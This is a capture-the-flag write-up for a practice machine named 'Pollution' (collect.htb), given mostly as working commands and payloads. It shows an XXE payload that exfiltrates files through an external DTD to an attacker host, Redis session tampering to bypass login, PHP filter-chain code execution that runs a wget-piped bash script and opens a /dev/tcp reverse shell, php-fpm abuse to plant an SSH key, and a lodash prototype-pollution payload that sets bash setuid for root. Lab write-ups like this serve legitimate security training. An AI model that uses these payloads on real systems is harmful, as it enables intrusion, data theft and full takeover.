TCP Scan
> TARGET=<target> && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
6379/tcp open redis Redis key-value store
Web Enum
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://collect.htb/" -H "Host: FUZZ.collect.htb" --hl 541
000000023: 200 336 L 1220 W 14098 Ch "forum"
000002341: 401 14 L 54 W 469 Ch "developers"
- Add both subdomains to
/etc/hosts
- From
http://forum.collect.htb/memberlist.php
, we can find a list of members - We can register a user at
http://forum.collect.htb/member.php
- From
http://forum.collect.htb/portal.php
, we learnt there is an API for access
Posted by: victor - 10-19-2022, 08:03 PM - Forum: Collect Forum - Replies (3)
Hello, I am unable to login to the Pollution API. Can someone help me?
- From
http://forum.collect.htb/showthread.php?tid=2
, we learnt there is a subdomain that’s most-likely for developers and is access controlled (i.e 401). This is very likely the developers
subdomain we found previously that gave us a 401 response. - From
http://forum.collect.htb/showthread.php?tid=9
, we learnt this instance might have been deployed by k8s, and the sysadmin might be new to k8s hence there is likely to be misconfigurations. - From
http://forum.collect.htb/showthread.php?tid=13
, there is an attachement from victor
, note the following item
<item>
<time>Thu Sep 22 18:29:34 BRT 2022</time>
<url><![CDATA[http://collect.htb/set/role/admin]]></url>
<host ip="192.168.1.6">collect.htb</host>
<port>80</port>
<protocol>http</protocol>
<method><![CDATA[POST]]></method>
<path><![CDATA[/set/role/admin]]></path>
<extension>null</extension>
<request base64="true"><![CDATA[UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg==]]></request>
<status>302</status>
<responselength>296</responselength>
<mimetype></mimetype>
<response base64="true"><![CDATA[SFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBUaHUsIDIyIFNlcCAyMDIyIDIxOjMwOjE0IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjU0IChEZWJpYW4pDQpFeHBpcmVzOiBUaHUsIDE5IE5vdiAxOTgxIDA4OjUyOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNClByYWdtYTogbm8tY2FjaGUNCkxvY2F0aW9uOiAvaG9tZQ0KQ29udGVudC1MZW5ndGg6IDANCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQo=]]></response>
<comment></comment>
</item>
Getting web admin access
- From the above obtained payload, we can base64 decode the request to retrieve a token. The response contains nothing interesting, only a 302 response.
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
token=ddac62a28254561001277727cb397baf
- This request looks like an attempt to assign the user with admin role, and the token must be privileged. Let’s imitate this request and set our current user as admin.
- Note that this request is sent against the
collect.htb
domain, rather than the forum.collect.htb
domain. Therefore, we need to register a new user at http://collect.htb/regsiter
and then send a post request to change our user role to admin
POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/login
Cookie: PHPSESSID=sq52a734q850al5gri71pci0uh
Upgrade-Insecure-Requests: 1
token=ddac62a28254561001277727cb397baf
- After the post, we are able to browse to the admin page
http://collect.htb/admin
, where we can use the API registration form to send requests to the API endpoint and register a user to access the API.
POST /api HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 174
Origin: http://collect.htb
Connection: close
Referer: http://collect.htb/admin
Cookie: PHPSESSID=sq52a734q850al5gri71pci0uh
manage_api=<?xml version="1.0" encoding="UTF-8"?><root><method>POST</method><uri>/auth/register</uri><user><username>meow</username><password>test123</password></user></root>
Arbitrary file read
- Use the following payload and hosting a dtd file, we are able to read arbitrary files on the target (base64 encoded)
# the payload is structured like below, replace <xxe-payload> with your payload:
# manage_api=<?xml version="1.0" encoding="UTF-8"?><xxe-payload><root><method>POST</method><uri>/auth/register</uri><user><username>meow</username><password>test123</password></user></root>
# POST body
# Note: you don't need to url encode the post body or substitute the spaces with +, somehow the format works
manage_api=<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://<attacker-ip>/file.dtd"> %xxe;]><root><method>POST</method><uri>/auth/register</uri><user><username>meow</username><password>test123</password></user></root>
# file.dtd, serve this file with a http server
<!ENTITY % file SYSTEM 'php://filter/convert.base64-encode/resource=index.php'>
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://<attacker-ip>/?file=%file;'>">
%eval;
%exfiltrate;
- Once we are able to read arbitrary files, read
../bootstrp.php
file which contains a password for redis server
<?php
ini_set('session.save_handler','redis');
ini_set('session.save_path','tcp://127.0.0.1:6379/?auth=C**************S');
session_start();
require '../vendor/autoload.php';
- There is also a developer password at
/var/www/developers/.htpasswd
, which is hashed using apache’s apr1
, this can be cracked using hashcat.
developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.*******
> hashcat -m 1600 hash.txt rockyou.txt
Access developers.collect.htb via redis
- After cracking the password of
developers_group
, we are able to pass the basic auth at developers.collect.htb
and then we are confronted with another login page. - From the previously obtained password for redis, we are able to access the redis server and authenticate
> redis-cli -h collect.htb
collect.htb:6379> auth C**************S
OK
- Inspecting the keys, we found our user session in the server. This server may be used for session management. Hence, by tweaking with the keys, we might be able to bypass the login page.
collect.htb:6379> keys *
1) "PHPREDIS_SESSION:<your-session-id>"
- In order to find a way to bypass, we need to look at how a session is managed. However, if we just login to
developers.collect.htb
, the session content will be empty (presumably the session contents is not applicable to basic auth). - So, to examine a valid session content, let’s perform a fresh
register
and login
at collect.htb
and then examine the keys. Apparently, we can exploit this to pass the login page at developers.collect.htb
collect.htb:6379> get PHPREDIS_SESSION:<your-session-id>
"username|s:4:\"meow\";role|s:4:\"user\";"
- Now, check
developers.collect.htb
and make a note of our PHPREDIS_SESSION
value and replace the redis record for our user session using the following payload to bypass the login page. Note the extra bit auth|s:1:\"a\";
collect.htb:6379> set PHPREDIS_SESSION:<your-session-id> "username|s:4:\"meow\";role|s:5:\"admin\";auth|s:1:\"a\";"
- Once we have replaced the redis record,
refresh
the developers page and we are now able to browse into http://developers.collect.htb/?page=home
RCE: www-data
# this will generate a very long output
> python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?> '
- Paste the above output into the
page
parameter and observe your code being executed by the webapp. - Now, we can utilise this to create a reverse shell. Note: the generated result is lengthy and there is a character limit on the site. Hence, we need to use php shorthand forms to make our payload as short as possible
# php tag short form, i.e <?php ?>: <?= ?>
# php executor short form, i.e system('<cmd>'): ``
# result short form payload: <?= `<cmd>` ?>
- Here, we can use wget to fetch a bash script and let the script run after fetching
# prepare a bash payload and save in a file called `m`, then serve it with a http server
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1
# generate a chain to wget the script and run it
> python3 php_filter_chain_generator.py --chain '<?= `wget -O - <attacker-ip>/m|bash` ?>'
# setup a nc listener to receive the reverse shell
- After following the above, we should now have a reverse shell as
www-data
PE: victor
- Perform enum, we found a db password in
/var/www/developers/login.php
$db = new mysqli("localhost", "webapp_user", "S******************1", "developers");
- Login to the db and enum the db
> mysql -u webapp_user -p'S******************1' -D developers -e 'show tables;'
users
> mysql -u webapp_user -p'S******************1' -D developers -e 'select * from users;'
id username password
1 admin c89efc49ddc58ee4781b02becc788d14
# The password hash is not crackable
- Run linpeas and note the following info, there is an app running at 127.0.0.1:9000, this is a fastcgi app. And there is a php application pool run as
victor
, which is our next target
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 ::1:6379 :::* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
[+] Cleaned processes
[i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
victor 1096 0.0 0.3 265840 15932 ? S Dec03 0:00 _ php-fpm: pool victor
# note that the <file> parameter can be any writeable file we create on the target
# in here, i created a file at /tmp/index.php
> python3 fpm.py -c '<?php system("id"); exit; ?>' 127.0.0.1 /tmp/index.php
uid=1002(victor) gid=1002(victor) groups=1002(victor)
- For a ssh shell as
victor
, we can echo our ssh public key into victor’s .ssh/authorized_keys
file
> python3 fpm.py -c '<?php system("echo \"id_rsa.pub\" > /home/victor/.ssh/authorized_keys"); exit; ?>' 127.0.0.1 /tmp/index.php
- ssh into the target as victor and fetch the user flag
> ssh victor@collect.htb
PE: root
- Re-run linpeas as
victor
, note the following, this is likely the API service and it’s run by root
[+] Cleaned processes
[i] Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes
root 1331 0.0 1.9 1680592 76708 ? Sl Dec03 0:01 _ /usr/bin/node /root/pollution_api/index.js
- There is a copy of the code in victor’s home directory:
/home/victor/pollution_api
- Inspecting the code, we can spot a vulnerable function at
pollution_api/controllers/Messages_send.js
that can be exploited using prototype pollutioning, note the line _.merge(message, req.body)
.
const messages_send = async(req,res)=>{
const token = decodejwt(req.headers['x-access-token'])
if(req.body.text){
const message = {
user_sent: token.user,
title: "Message for admins",
};
_.merge(message, req.body);
exec('/home/victor/pollution_api/log.sh log_message');
Message.create({
text: JSON.stringify(message),
user_sent: token.user
});
return res.json({Status: "Ok"});
}
return res.json({Status: "Error", Message: "Parameter text not found"});
}
const Sequelize = require('sequelize');
const sequelize = new Sequelize('pollution_api','webapp_user','S******************1',{
host: '127.0.0.1',
dialect: 'mysql',
define: {
charset: 'utf8',
collate: 'utf8_general_ci',
timestamps: true
},
logging: false
})
module.exports = { Sequelize, sequelize };
- Login to
pollution_api
db and change user role to admin
victor@pollution:~$ mysql -u webapp_user -p'S******************1' -D pollution_api
MariaDB [pollution_api]> show tables;
+-------------------------+
| Tables_in_pollution_api |
+-------------------------+
| messages |
| users |
+-------------------------+
2 rows in set (0.001 sec)
MariaDB [pollution_api]> select * from users;
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt | updatedAt |
+----+----------+----------+------+---------------------+---------------------+
| 1 | meow | test123 | user | 2022-12-04 20:37:37 | 2022-12-04 20:37:37 |
+----+----------+----------+------+---------------------+---------------------+
1 rows in set (0.001 sec)
MariaDB [pollution_api]> update users set role='admin';
Query OK, 1 rows affected (0.001 sec)
Rows matched: 1 Changed: 1 Warnings: 0
- Now, we can login with
meow
and receive a token that has admin
privilege and exploit the /admin/messages/send
API.
# login as meow and receive a token
> curl http://127.0.0.1:3000/auth/login -H "content-type: application/json" -d '{"username":"meow","password":"test123"}'
{"Status":"Ok","Header":{"x-access-token":"<token>"}}
# send a polluted payload to get code execution
# in here, we executed: chmod +s /usr/bin/bash
> curl http://127.0.0.1:3000/admin/messages/send -H "x-access-token: <token>" -H "content-type: application/json" -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require(\"child_process\").execSync(\"chmod +s /usr/bin/bash\").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
- Prompt to root shell and get root flag
victor@pollution:~$ ls -ls /usr/bin/bash
1208 -rwsr-sr-x 1 root root 1234376 Mar 27 2022 /usr/bin/bash
victor@pollution:~$ bash -p
bash-5.1# cat /root/root.txt